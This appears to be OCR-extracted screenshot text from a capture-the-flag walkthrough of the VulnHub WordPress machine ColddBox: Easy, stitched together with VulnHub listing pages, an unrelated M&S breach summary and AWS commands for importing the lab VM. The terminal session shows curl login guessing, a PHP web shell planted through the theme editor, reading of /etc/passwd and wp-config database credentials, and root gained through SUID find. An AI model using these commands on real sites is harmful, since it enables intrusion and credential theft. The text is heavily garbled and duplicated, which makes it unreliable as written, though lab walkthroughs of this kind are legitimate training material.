<body class="archive author author-c@ldd author-1">
</aside><aside id="recent-comments-2" class="widget widget_recent_comments"><h2 class="widget-titl
e">Recent Comments</h2><ul id="recentcomments"><1li class="recentcomments"><span class="comment—author-link"><a hre
f='https://wordpress.org/' rel='external nofollow' class='url'>Sr Hott</a></span> on <a href="/?p=1#comment-1">The
ColddBox is here</a></li></ul></aside><aside id="archives—2" class="widget widget_archive"><h2 class="widget-titl
e">Archives</h2> <ul>
<hl class="page-title">Author: <span class="vcard">the cold in person</span></h1><
/header><!—— .page-header ——>
sh-4.2$ curl -s —c cookies.txt -d "log=c@ldd&pwd=c@ldd&wp-submit=Log+In" http://10.08.1.39/wp-login.php -L -0 login
_result.html
[sh-4.2$ grep —-i "dashboard\|incorrect\|error" login_result.html 1
grep: login_result.html: No such file or directory
[sh-4.2$ curl -v —c cookies.txt —-d "log=c@ldd&pwd=c@ldd&wp-submit=Log+In" http://10.0.1.39/wp-login.php -L —o login
_result.html
% Trying 10.0.1.39:80...
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port 80 (#0)

POST /wp-login.php HTTP/1.1

Host: 10.0.1.39

User—Agent: curl/7.79.1

Accept: */x

Content-Length: 36

Content-Type: application/x-www-form-urlencoded

[36 bytes datal
Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Server: Apache/2.4.18 (Ubuntu)

Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache

0x Connected to 10.0.1.39 (10.0.1.39)

Added cookie wordpress_test_cookie="WP+Cookie+check" for domain 10.0.1.39, path /, expire @

>
>

>

>

>

>

>

}

*

<

< Date: Wed, 05 Aug 2026 22:53:03 GMT
<

<

<

<

*

< Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/

< X-Frame-Options: SAMEORIGIN

< Vary: Accept-Encoding

< Content-Length: 3453

< Content-Type: text/html; charset=UTF-8

<

{ [3453 bytes datal

Warning: Failed to create the file login_result.html: Permission denied
* Failure writing output to destination
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<

{ [3453 bytes datal

Warning: Failed to create the file login_result.h

* Failure writing output to destination

100 3489 100 3453 100 36 247k 2647 —:

* Closing connection @

curl: (23) Failure writing output to destination

* WARNING: failed to save cookies in cookies.txt:

sh-4.2% cd ~

sh-4.2$ curl -v —c cookies.txt -d "log=c@ldd&pwd=

_result.html

% Trying 10.0.1.39:80...

% Total % Received % Xferd Average Speed
Dload Upload

] ] ] ] ] ] ] 0 —:

port 80 (#0)

POST /wp-login.php HTTP/1.1

Host: 10.0.1.39

User—Agent: curl/7.79.1

Accept: */x

Content-Length: 36

Content-Type: application/x-www-form-urlencoded

[36 bytes datal
Mark bundle as not supporting multiuse
HTTP/1.1 200 OK

Padme Wead OF Aiim AQNZ OO LM eNZ AMT

\ A ¥ YV VVVVVYV

tml: Permission denied

—8— —g=—8— —B8—8— AP

Failed writing received data to disk/application
c01dd&wp—submit=Log+In" http://10.0.1.39/wp-login.php -L -0 login
Time Time Time Current

Total Spent Left Speed
—t— -l i 0% Connected to 10.0.1.39 (10.0.1.39)
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Expires: Wed, 11 Jan 1984 05:00:00 GMT

Cache-Control: no-cache, must-revalidate, max-age=0

Pragma: no-cache

Added cookie wordpress_test_cookie="WP+Cookie+check" for domain 10.0.1.39, path /, expire @
Set-Cookie: wordpress_test_cookie=WP+Cookie+check; path=/

X-Frame-Options: SAMEORIGIN

Vary: Accept-Encoding

Content-Length: 3453

Content-Type: text/html; charset=UTF-8

AMANANANANANANR(XANAANA

[3453 bytes datal
100 3489 100 3453 100 36 187k 1997 —:—:— —:i:—:— —i—:— 200k
* Connection #0 to host 10.0.1.39 left intact
[sh-4.2$ grep —-i "dashboard\|incorrect\|error" login_result.html 1
<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username <strong>c@ldd</s
trong> is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
sh-4.2$ for pass in "12345" "coldd" "colddbox" "admin123" "password123" "cold123"; do
> echo "Trying: $pass"
> curl -s —c cookies.txt —d "log=c@ldd&pwd=$pass@wp-submit=Log+In" http://10.0.1.39/wp-login.php -L —o login_res
ult.html
> grep —qi "dashboard\|wp-admin/index" login_result.html && echo "SUCCESS with $pass" && break
> grep -i "incorrect" login_result.html
[> done 1
Trying: 12345
<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username <strong>c@ldd</s
trong> is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
Trying: coldd
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Trying:

trong>

Trying:

trong>

Trying:

trong>

Trying:

trong>

Trying:

trong>

Trying:

trong>

12345

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
coldd

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
colddbox

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
admin123

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
password123

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />
cold123

<div id="login_error"> <strong>ERROR</strong>: The password you entered for the username
is incorrect. <a href="/wp-login.php?action=lostpassword">Lost your password</a>?<br />

<strong>c@ldd</s

<strong>c@ldd</s

<strong>c@ldd</s

<strong>c@ldd</s

<strong>c@ldd</s

<strong>c@ldd</s

sh-4.2$ curl -s —c cookies.txt -d "log=c@ldd&pwd=9876543210&wp—submit=Log+In" http://10.0.1.39/wp-login.php -L -0
login_result.html

AC

sh-4.2$ curl

login_result.html

sh-4.2$ grep -i "dashboard\|incorrect" login_result.html
<title>Dashboard &lsaquo; ColddBox &#8212; WordPress</title>

—-s —c cookies.txt —-d "log=c@ldd&pwd=9876543210&wp-submit=Log+In" http://10.0.1.39/wp-.

login.php -L -o
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sh-4.2$ grep —-i "dashboard\|incorrect" login_result.html
<title>Dashboard &lsaquo; ColddBox &#8212; WordPress</title>
pagenow = 'dashboard',
<1i class="wp-first-item wp—-has-submenu wp—has—current—submenu wp-menu—open menu-top menu-top-first menu-i
con-dashboard menu-top-last" id="menu-dashboard">
<a href='index.php' class="wp-first-item wp—-has-submenu wp—has—current—-submenu wp-menu—open menu-top menu-
top-first menu-icon-dashboard menu-top-last" ><div class="wp-menu-arrow"><div></div></div><div class='wp-menu—imag
e dashicons-before dashicons—dashboard'><br /></div><div class='wp-menu—name'>Dashboard</div></a>
<ul class='wp-submenu wp-submenu-wrap'><1i class='wp-submenu-head'>Dashboard</1i><1i class="wp-first-item
current"><a href='index.php' class="wp-first-item current">Home</a></li><li><a href='update—core.php'>Updates <spa
n class='update-plugins count-5' title='1 WordPress Update, 3 Theme Updates, Translation Updates'><span class='upd
ate—count'>5</span></span></a></1i></ul></1i>
<p><strong>For more information:</strong></p><p><a href="http://co
dex.wordpress.org/Dashboard_Screen" target="_blank">Documentation on Dashboard</a></p><p><a href="https://wordpres
s.org/support/" target="_blank">Support Forums</a></p> </div>
<p>Welcome to your WordPress Dashboard! This is th
e screen you will see when you log in to your site, and gives you access to all the site management features of Wo
rdPress. You can get help for any screen by clicking the Help tab in the upper corner.</p> 3
/div>
<p>The left-hand navigation menu provides links to
all of the WordPress administration screens, with submenu items displayed on hover. You can minimise this menu to
a narrow icon strip by clicking on the Collapse Menu arrow at the bottom.</p><p>Links in the Toolbar at the top o
f the screen connect your dashboard and the front end of your site, and provide access to your profile and helpful
WordPress information.</p> </div>
<p>You can use the following controls to arrange y
our Dashboard screen to suit your workflow. This is true on most other administration screens as well.</p><p><stro
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ng>Screen Options</strong> — Use the Screen Options tab to choose which Dashboard boxes to show.</p><p><strong>Dra
g and Drop</strong> - To rearrange the boxes, drag and drop by clicking on the title bar of the selected box and r
eleasing when you see a grey dotted-line rectangle appear in the location you want to place the box.</p><p><strong
>Box Controls</strong> - Click the title bar of the box to expand or collapse it. Some boxes added by plugins may
have configurable content, and will show a &#8220;Configure&#8221; link in the title bar if you hover over it.</p<
/div>
<p>The boxes on your Dashboard screen are:</p><p><
strong>At A Glance</strong> — Displays a summary of the content on your site and identifies which theme and versio
n of WordPress you are using.</p><p><strong>Activity</strong> — Shows the upcoming scheduled posts, recently publi
shed posts, and the most recent comments on your posts and allows you to moderate them.</p><p><strong>Quick Draft<
/strong> - Allows you to create a new post and save it as a draft. Also displays links to the 5 most recent draft
posts you've started.</p><p><strong>WordPress News</strong> — Latest news from the official WordPress project, the
<a href="https://planet.wordpress.org/">WordPress Planet</a>, and popular and recent plugins.</p><p><strong>Welco
me</strong> — Shows links for some of the most common tasks when setting up a new site.</p> <
/div>
<label for="dashboard_right_now-hide"><input class="hide-postbox-tog" name="dashbo
ard_right_now-hide" type="checkbox" id="dashboard_right_now-hide" value="dashboard_right_now" checked="checked" />
At a Glance</label>
<label for="dashboard_activity-hide"><input class="hide-postbox-tog" name="dashboard_activity-hide" type="checkbox
" id="dashboard_activity-hide" value="dashboard_activity" checked="checked" />Activity</label>
<label for="dashboard_quick_press-hide"><input class="hide-postbox-tog" name="dashboard_quick_press-hide" type="ch
eckbox" id="dashboard_quick_press—hide" value="dashboard_quick_press" checked="checked" /><span class="hide-if-no-
js">Quick Draft</span> <span class="hide-if-js">Drafts</span></label>
<label for="dashboard_primary-hide"><input class="hide-postbox—tog" name="dashboard_primary-hide" type="checkbox"
id="dashboard_primary-hide" value="dashboard_primary" checked="checked" />WordPress News</label>
<h2>Dashboard</h2>
<div id="dashboard-widgets—wrap">
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<label for="dashboard_quick_press-hide"><input class="hide—postbox-tog" name="dashboard_quick_press-hide" type="ch
eckbox" id="dashboard_quick_press—hide" value="dashboard_quick_press" checked="checked" /><span class="hide-if-no—
js">Quick Draft</span> <span class="hide-if-js">Drafts</span></label>
<label for="dashboard_primary-hide"><input class="hide-postbox-tog" name="dashboard_primary-hide" type="checkbox"
id="dashboard_primary-hide" value="dashboard_primary" checked="checked" />WordPress News</label>

<h2>Dashboard</h2>
"dashboard-widgets-wrap">
dashboard-widgets" class="metabox-holder">
normal-sortables" class="meta—box-sortables"><div id="dashboard_right_now" class="postbox " >
<div id="dashboard_activity" class="postbox " >

<div class="dashboard-comment-wrap">

<input type="hidden" name="mode" id="mode" value="dashboard" />

<div id="side-sortables" class="meta-box-sortables"><div id="dashboard_quick_press" class="postbox " >
<div id="dashboard_primary" class="postbox " >
<input type="hidden" id="closedpostboxesnonce" name="closedpostboxesnonce" value="37cc@a8da3" /><input type="hidde
n" id="meta-box—order-nonce" name="meta-box-order-nonce" value="49eaecf5c@" /> </div><!-- dashboard-widgets-wrap
——>
<script type='text/javascript'>list_args = {"class":"WP_Comments_List_Table","screen":{"id":"dashboard", "base":"da
shboard"}};</script>
<script type='text/javascript'>list_args = {"class":"WP_Comments_List_Table","screen":{"id":"dashboard", "base":"da
shboard"}};</script>
<script type='text/javascript' src='/wp-admin/load-scripts.php?c=08&amp;load%5B%5D=hoverIntent, common,admin-bar,wp-
ajax-response, jquery—-color,wp-lists, quicktags, jguery—-query, admin-comments, jquery-ui-core, jquery-&amp; load%5B%5D=ui
-widget, jquery—ui-mouse, jquery-ui-sortable, postbox, dashboard, underscore, customize—base, customize-loader, thickbox, p
lugin-instal&amp; load%5B%5D=1, shortcode, media-upload, svg-painter, heartbeat, wp-auth—check, word—count,wplink&amp;ver
=4.1.31'></script>
sh-4.25 |
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<input type="hidden" id="closedpostboxesnonce" name="closedpostboxesnonce" value="37cc@a8da3" /><input type="hidde
n" id="meta-box—order-nonce" name="meta-box-order-nonce" value="49eaecf5c@" /> </div><!-- dashboard-widgets-wrap

——>

<script type='text/javascript'>list_args = {"class":"WP_Comments_List_Table","screen":{"id":"dashboard", "base":"da
shboard"}}; </script>

<script type='text/javascript'>list_args = {"class":"WP_Comments_List_Table","screen":{"id":"dashboard", "base":"da
shboard"}}; </script>

<script type='text/javascript' src='/wp-admin/load-scripts.php?c=08&amp;load%5B%5D=hoverIntent, common,admin-bar,wp-
ajax-response, jquery—-color,wp-lists, quicktags, jguery—-query, admin-comments, jquery-ui-core, jquery-&amp; load%5B%5D=ui
-widget, jquery—ui-mouse, jquery-ui-sortable, postbox, dashboard, underscore, customize—base, customize-loader, thickbox, p
lugin-instal&amp; load%5B%5D=1, shortcode, media-upload, svg-painter, heartbeat, wp—auth—check, word—count,wplink&amp;ver
=4.1.31'></script>

sh-4.2$ curl —-s -b cookies.txt "http://10.0.1.39/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen" -o th
eme_editor.html

sh-4.2$ grep —o 'name="_wpnonce" value="[*"]x"' theme_editor.html

name="_wpnonce" value="53afbf51a0"

sh-4.2$ curl —-s -b cookies.txt "http://10.0.1.39/wp-admin/theme-editor.php?file=404.php&theme=twentyfifteen" -o th
eme_editor.html

sh-4.2$ curl —s -b cookies.txt \

> —-data-urlencode "newcontent=<?php system(\$_GET['cmd'1]); ?>" \

> —d "action=update&file=404.php&theme=twentyfifteen&_wpnonce=53afbf51a@" \

> "http://10.0.1.39/wp—admin/theme—editor.php" -o edit_result.html

sh-4.2$

sh-4.2$ grep —i "success\|error" edit_result.html

sh-4.2$ curl -s "http://10.0.1.39/wp—content/themes/twentyfifteen/404.php?cmd=id"

uid=33(www—data) gid=33(www-data) groups=33(www—data)

sh-4.25 |
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[sh-4.2$ curl -s "http://10.0.1.39/wp—content/themes/twentyfifteen/404.php?cmd=cat+/etc/passwd" | head —20
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www—data:x:33:33:www—data:/var/www: /usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody : x:65534:65534:nobody : /nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd—ﬁetwork:x:161:1e3:systemd Network Management,,,:/run/systemd/netif:/bin/false
sh-4.2%
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.sh—4:2$ curl —s "http://10.0.1.39/wp—content/themes/twentyfifteen/404.php?cmd=find+/+-perm+-4000+-type+f+2>/dev/nu
110

/bin/su

/bin/pingé

/bin/ping

/bin/fusermount

/bin/umount

/bin/mount

/usr/bin/chsh

/usr/bin/gpasswd

/usr/bin/pkexec

/usr/bin/find

/usr/bin/sudo

/usr/bin/newgidmap

/usr/bin/newgrp

/usr/bin/at

/usr/bin/newuidmap

/usr/bin/chfn

/usr/bin/passwd
/usr/lib/openssh/ssh-keysign
/usr/1lib/snapd/snap-confine
/usr/1ib/x86_64-1inux-gnu/1lxc/1lxc-user—nic
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper—1
/Jusr/1ib/dbus-1.0/dbus—daemon-launch-helper
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[sh-4.2$ curl -s "http://10.0.1.39/wp-content/themes/twentyfifteen/404.php?cmd=1s+-la+/home/c@ldd/"
total 24
drwxr-xr—x
drwxr-xr—x

c0ldd c@ldd 4096 Oct 19 2020 .

root root 4096 Sep 24 2020 ..

c0ldd celdd @ Oct 19 2020 .bash_history

cOldd c@ldd 220 Sep 24 2020 .bash_logout

c0ldd celdd 0 Oct 14 2020 .bashrc

c@ldd c@ldd 4096 Sep 24 2020 .cache

c0ldd c@ldd 655 Sep 24 2020 .profile

c@ldd celdd @ Sep 24 2020 .sudo_as_admin_successful
c0ldd c@ldd 53 Sep 24 2020 user.txt
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[sh-4.2$ curl -s "http://10.0.1.39/wp-content/themes/twentyfifteen/404.php?cmd=/usr/bin/find+.+-exec+/bin/sh+—p+-c+

vid'+\;"

uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)

9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
gid=33(www-data)
9id=33(www—data)
9id=33(www—data)
gid=33(www-data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
id=33 (www—data)

id=33 (www—data)

id=33 (www—data)
9id=33(www—data)
9id=33(www—data)
gid=33(www-data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)

euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)

groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
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ula=33(www-data
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)
uid=33(www-data)

[sh-4.2$ curl -s "http://10.0.1.39/wp-content/themes/twentyfifteen/404.php?cmd=find+.+-maxdepth+@+—exec+/bin/sh+-p+

) g1la=33(www—aata)

9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)
9id=33(www—data)

—c+'cat+/root/root.txt'+\;"
wgqFGZWxpY21kYWR1cywgbcOhcXVpbmEgY29tcGx1dGFKYSE=

[sh-4.2% echo "wqFGZWxpY21kYWR1cywgbcOhcXVpbmEgY29tcGx1dGFKYSE=" | baseé4 —d

eula=@(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)
euid=0(root)

iFelicidades, maquina completada!sh-4.2% [

groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)
groups=33(www—data)




image35.png
SH=%. 29 ELNU WHUFOLWAPTZLRTWRLLCYWYUCLUNCAVPUIIEYTL7LLCOALULDIFRTOE=" | DPasc04 —U 1
'iFelicidades, maguina completada!sh-4.2$ curl —s "http://10.0.1.39/wp-content/themes/twentyfifteen/404.php?cmd=cat]
rep —i "DB_"ml/wp-config.php" | g
define('DB_NAME', 'colddbox');
define('DB_USER', 'c@ldd');
define('DB_PASSWORD', 'cybersecurity');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
sh-4.2$ ||
y N
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MR-ROBOT: 1 vyos

About Release Back to the Top

Name: Mr-Robot: 1

Date release: 28 Jun 2016
Author: Leon Johnson
Series: Mr-Robot

-~

Download Back to the Top

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers
of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

mrRobot.ova (Size: 704MB)
Download (Mirror): https://download.vulnhub.com/mrrobot/mrRobot.ova

-~

Description Back to the Top

Based on the show, Mr. Robot.
This VM has three keys hidden in different locations. Your goal is to find all three. Each key is progressively difficult to find.

The VM isn't too difficult. There isn't any advanced exploitation or reverse engineering. The level is considered beginner-intermediate.

-~
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18. Marks and Spencer

Records affected: Number not disclosed; M&S confirmed personal data of an unspecified
portion of ts customer base (the number affected has never been confirmed and should
not be equated to the total customer base)

Date of breach: Initial access reported as February 2025, with disruption from April 2025
Date disclosed: April 2025; customer data theft confirmed May 2025

Sector: Retail

Attack vector: Social engineering of a third-party IT service desk to obtain credential
resets, attributed to Scattered Spider, followed by DragonForce ransomware deployment
Data exposed: Names, dates of birth, home and email addresses, phone numbers, order
history, and masked payment card digits; M&S stated no usable payment card details and
no account passwords were taken

M&S suspended online ordering entirely for around six weeks, one of the longest e~
commerce outages ever suffered by a major UK retailer. The attackers used help-desk
impersonation rather than a technical exploit, which shifted the board-level conversation
toward identity verification and outsourced IT support as the primary risk surface.

Aftermath: M&S estimated a roughly £300 million hit to 2025/26 operating profit before
mitigation (which includes insurance and cost actions). The NCA arrested four people in
July 2025, the ICO opened an investigation, and the incident fed into the UK Cyber
Security and Resilience Bill debate.

‘Source: CNBC: M&S cyberattack to wipe out nearly one-third of annual profits
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COLDDBOX: EASY vyoo

About Release Back to the Top

Name: ColddBox: Easy

Date release: 23 Oct 2020
Author: Martin Frias (Aka. COIdd)
Series: ColddBox

-~

Download Back to the Top

Please remember that VuinHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers
of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

ColddBoxEasy_EN.ova (Size: 872 MB)
Download: https:/mega.nz/file/VIdHilgA#4nRI2LPZs_x48_-ryCkPvL6Em2IQTSJEKvoReieDMec
Download (Mirror): https://download.vulnhub.com/colddbox/ColddBoxEasy_EN.ova

-~

Description Back to the Top

Welcome to ColddBox Easy, it is a Wordpress machine with an easy level of difficulty, highly recommended for beginners in the field, good luck! Please share
your feedback: "https://twitter.com/COldd__"

This works better with VirtualBox rather than VMware.

-~
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Back About Release | Download | Description | File information | Virtual Machine | Networking | Screenshot(s) | Walkthrough(s)

FRISTILEAKS: 1.3 vos

About Release Back to the Top

Name: FristiLeaks: 1.3

Date release: 14 Dec 2015

Author: ArOxA

Series: FristiLeaks

Web page: https://tldr.nu/2015/12/15/fristileaks-vm/

-~

Download Back to the Top

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers
of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

FristiLeaks_1.3.0va (Size: 668 MB)
Download (Mirror): https://download.vulnhub.com/fristileaks/Fristil eaks_1.3.ova

-~

Description Back to the Top
About:

Name: Fristileaks 1.3

Author: Ar@xA

Series: Fristileaks

Style: Enumeration/Follow the breadcrumbs
Goal: get root (uid @) and read the flag file
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aws configure set region us-east-1

——region us—east-1
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laws s3 cp ~/Downloads/mrRobot.ova s3://vulnlab-import-8842/
make_bucket: vulnlab—import-8842
upload: Downloads/mrRobot.ova to s3://vulnlab-import-8842/mrRobot.ova




image41.png
lab $ cat > role-policy.json << 'EOF'

{

"Version": "2012-10-17",

"Statement

arn:

[

{"Effect": "Allow", "Action": ["s3:GetBucketLocation","s3:GetObject","s3:ListBucket","s3:PutObject"], "Resource": ["
aws:s3:::vulnlab-import-8842","arn:aws:s3:::vulnlab-import-8842/%"1},
{"Effect": "Allow", "Action": ["ec2:ModifySnapshotAttribute","ec2:CopySnapshot","ec2:RegisterImage","ec2:Describex"]

, "Resource": "x"}

1
}
EOF

[aws
[1lab
{

iam put-role-policy —-role-name vmimport —-—policy—name vmimport-policy ——policy-document file://role-policy.json 1
$ aws ec2 import-image ——description "Mr-Robot" --disk-containers file://containers.json 1

"Description": "Mr-Robot",
"ImportTaskId": "import-—ami-35836030751513d1it",
"Progress": "1",
"SnapshotDetails": [
{
"Description": "Mr-Robot VulnHub VM",
"DiskImageSize": 0.0,
"Format": "ova",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "mrRobot.ova"





image42.png
[lab $ aws ec2 describe-import-image-tasks ——import-task-ids import-ami-35836830751513d1t

{

}

"ImportImageTasks": [

1

{

"Description": "Mr-Robot",
"ImageId": "",
"ImportTaskId": "import-ami-35836030751513d1it",
"Progress": "9",
"SnapshotDetails": [
{
"DiskImageSize": 737563648.0,
"Format": "VMDK",
"Status": "active",
"UserBucket": {
"S3Bucke "vulnlab-import-8842",
"S3Key": "mrRobot.ova"

}
1,
"Status": "active",
"StatusMessage": "converting",
"Tags": []

[lab $ aws ec2 describe-import-image-tasks ——import-task-ids

import-ami-35836030751513d1t
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}
[lab $ aws ec2 describe-import-image-tasks ——import-task-ids import-ami-35836030751513d1t
{

"ImportImageTasks": [

{

"Description": "Mr-Robot",

"ImageId": "",

"ImportTaskId": "import-ami-35836030751513d1it",

"Progress": "9",

"SnapshotDetails": [

{
"DiskImageSize": 737563648.0,
"Format": "VMDK",
"Status": "active",
"UserBucket": {
"S3Bucket": "vulnlab-import-8842",
"S3Key": "mrRobot.ova"
}
}

1,

"Status": "active",

"StatusMessage": "converting",

"Tags": []

}
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[lab $ aws ec2 create-vpc ——-cidr-block 10.0.0.0/16 ——tag-specifications 'ResourceType=vpc, Tags=[{Key=Name,Value=vulnlab-v]
pc}]’
{
"Wpc": {
"OwnerId": "@69176179640",
"InstanceTenancy": "default",
"IpvéCidrBlockAssociationSet": [1,
"CidrBlockAssociationSet": [
{
"AssociationId": "vpc-cidr-assoc—039271045d395c3bé",
"CidrBlock": "10.0.0.0/16",
"CidrBlockState": {
"State": "associated"
}
}
1,
"IsDefault": false,
"Tags": [
{
"Key": "Name",
"Value": "vulnlab-vpc"
}
1,
"VpcId": "vpc-089b94a9f6de539e2",
"State": "pending",
"CidrBlock": "10.0.0.0/16",
"DhcpOptionsId": "dopt-@b3f69483b5926221"




